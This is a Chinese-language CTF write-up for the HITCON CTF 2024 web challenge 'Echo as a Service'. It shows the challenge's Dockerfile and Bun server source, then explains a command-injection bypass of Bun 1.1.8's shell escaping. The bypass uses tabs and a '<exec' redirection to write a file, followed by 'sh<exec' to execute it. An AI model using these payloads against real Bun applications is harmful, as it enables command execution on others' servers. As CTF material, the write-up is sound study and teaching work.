HITCON CTF 2024 Writeup

2024-07-22

HITCON CTF 2024

Author: 堇姬Naup

rank: 24th & Taiwan 1st

這次跟bamboofox & starburst kiwawa & b33f一起打,主要看we

Echo as a Service

source code

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
FROM oven/bun:1.1.8-slim
RUN apt-get update && apt-get install -y gcc

RUN useradd -ms /bin/bash ctf

WORKDIR /home/ctf/app

# Setup challenge
COPY ./src/index.js .
RUN chown -R ctf:ctf /home/ctf/app

# Setup flag & readflag
COPY ./flag/readflag.c /readflag.c
COPY ./flag/flag /flag
RUN chmod 0400 /flag && chown root:root /flag
RUN chmod 0444 /readflag.c && gcc /readflag.c -o /readflag
RUN chown root:root /readflag && chmod 4555 /readflag

USER ctf
ENV NODE_ENV=production
CMD ["bun", "index.js"]

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import { $ } from "bun";

const server = Bun.serve({
host: "0.0.0.0",
port: 1337,
async fetch(req) {
const url = new URL(req.url);
if (url.pathname === "/") {
return new Response(`
<p>Welcome to echo-as-a-service! Try it out:</p>
<form action="/echo" method="POST">
<input type="text" name="msg" />
<input type="submit" value="Submit" />
</form>
`.trim(), { headers: { "Content-Type": "text/html" } });
}
else if (url.pathname === "/echo") {
const msg = (await req.formData()).get("msg");
if (typeof msg !== "string") {
return new Response("Something's wrong, I can feel it", { status: 400 });
}

const output = await $`echo ${msg}`.text();
return new Response(output, { headers: { "Content-Type": "text/plain" } });
}
}
});

console.log(`listening on http://localhost:${server.port}`);

分析

我們需要執行readflag,並同時加入give me the flag這四個參數,就可以拿到flag,這邊有個很明顯的command injection

1
const output = await $`echo ${msg}`.text();

但嘗試了許多payload,特殊符號都會被轉義掉,所以去看一下bun shell的source code(1.1.8 版本的 bun)

https://github.com/oven-sh/bun/blob/bun-v1.1.8/src/shell/shell.zig#L4090

往上追可以找到這些字符會被escape

1
2
/// Characters that need to escaped
const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };

其中空格被escape,原本打算使用${IFS}但都被escape掉,不過其實可以用tab來bypass,不過當我使用

1
readflag    give    me    the    flag

也不行,所以可能要想其他方法,首先我們想到可以寫到一個檔案裡面執行,但>被ban了
最後payload我們使用了<來寫入
首先1<exec可以開個空檔案,簡單來說就是我把exec這個檔案重新定向到標準輸出,前面的echo印出空字串,所以檔案會抓到他輸出了啥,因次開了空檔案

所以如果用

1
readflag    give    me    the    flag1<exec

那就可以把你要執行的指令寫進去了

看當前目錄底下有哪些檔案

1
`ls`

可以看exec檔案內容

1
cat<exec

最後我們使用

1
sh<exec

就可以執行檔案裡面的內容了

hitcon{i_found_this_bug_during_LINECTF_but_unfortunately_it_became_1day_challenge_a_few_months_ago}